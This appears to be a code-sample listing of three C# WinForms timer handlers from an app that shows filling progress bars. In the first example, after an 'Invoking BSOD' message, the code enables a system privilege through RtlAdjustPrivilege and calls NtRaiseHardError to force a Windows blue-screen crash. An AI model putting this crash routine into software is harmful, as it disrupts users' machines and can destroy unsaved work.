예제 #1
0
        private async void timer6_Tick(object sender, EventArgs e)
        {
            if (progressBar5.Value < progressBar5.Maximum)
            {
                progressBar5.Value += 10;
            }
            else
            {
                ModifyProgressBarColor.SetState(progressBar5, 2);

                timer6.Stop();
                label6.Visible = true;
                label1.Dispose();
            }

            if (progressBar5.Value == progressBar5.Maximum)
            {
                RIPmsg();

                await Task.Delay(1000);

                ModifyProgressBarColor.SetState(progressBar1, 2);
                ModifyProgressBarColor.SetState(progressBar2, 2);
                ModifyProgressBarColor.SetState(progressBar3, 2);
                ModifyProgressBarColor.SetState(progressBar4, 2);
                ModifyProgressBarColor.SetState(progressBar5, 2);

                await Task.Delay(5000);

                Boolean t1;
                uint    t2;
                RtlAdjustPrivilege(19, true, false, out t1);
                NtRaiseHardError(0xc0000022, 0, 0, IntPtr.Zero, 6, out t2);
            }

            async void RIPmsg()
            {
                label6.Text = "Invoking BSOD";
                await Task.Delay(1000);

                label6.Text = "Invoking BSOD.";
                await Task.Delay(1000);

                label6.Text = "Invoking BSOD..";
                await Task.Delay(1000);

                label6.Text = "Invoking BSOD...";
                await Task.Delay(1000);
            }
        }
예제 #2
0
        private void timer1_Tick(object sender, EventArgs e)
        {
            if (progressBar1.Value < progressBar1.Maximum)
            {
                progressBar1.Value += 10;
            }
            else
            {
                ModifyProgressBarColor.SetState(progressBar1, 1);

                timer1.Stop();
                timer3.Start();
            }
        }
예제 #3
0
        private void timer5_Tick(object sender, EventArgs e)
        {
            if (progressBar4.Value < progressBar4.Maximum)
            {
                progressBar4.Value += 10;
            }
            else
            {
                ModifyProgressBarColor.SetState(progressBar4, 3);

                timer5.Stop();
                timer6.Start();
            }
        }